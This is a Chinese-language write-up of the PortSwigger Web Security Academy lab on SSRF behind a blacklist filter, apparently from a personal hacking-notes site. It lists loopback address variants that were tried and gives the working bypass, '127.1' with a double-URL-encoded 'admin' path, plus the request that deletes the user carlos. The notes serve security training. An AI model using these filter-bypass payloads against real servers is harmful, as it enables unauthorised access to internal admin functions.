> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/ssrf/ssrf-with-blacklist-based-filter.md).
# 带基于黑名单过滤的 SSRF
带基于黑名单过滤的 SSRF 笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。
### 基于黑名单输入过滤的 SSRF
该实验室提供一个库存验证功能，可用于从内部系统检索数据。/ 目标是访问位于 `HTTP://localhost/admin` 并删除该用户 **carlos**. / 必须绕过两种基于黑名单的薄弱防御机制。
#### 分析与绕过
当将 `stockApi` 参数替换为直接指向本地管理员时，查询被拒绝：
```
stockApi=https://localhost/admin
```
为了绕过……上的黑名单 `localhost`，测试了若干内部地址变体：
* `https://127.0.0.1`
* `https://127.13.55.222`
* `https://127.0.1`
这些尝试也失败了。
然后我们尝试 **十六进制** 或 **十进制** 表示形式：
* `https://0x7F.0x0.0x1`
* `https://2130706433`
检测总是会阻止 `/admin` 路径，这表明防御主要针对这个特定字符串。
```javascript
stockApi=http://127.1/%2561dmin
stockApi=http://127.1/%2561dmin/delete?username=carlos
```
---
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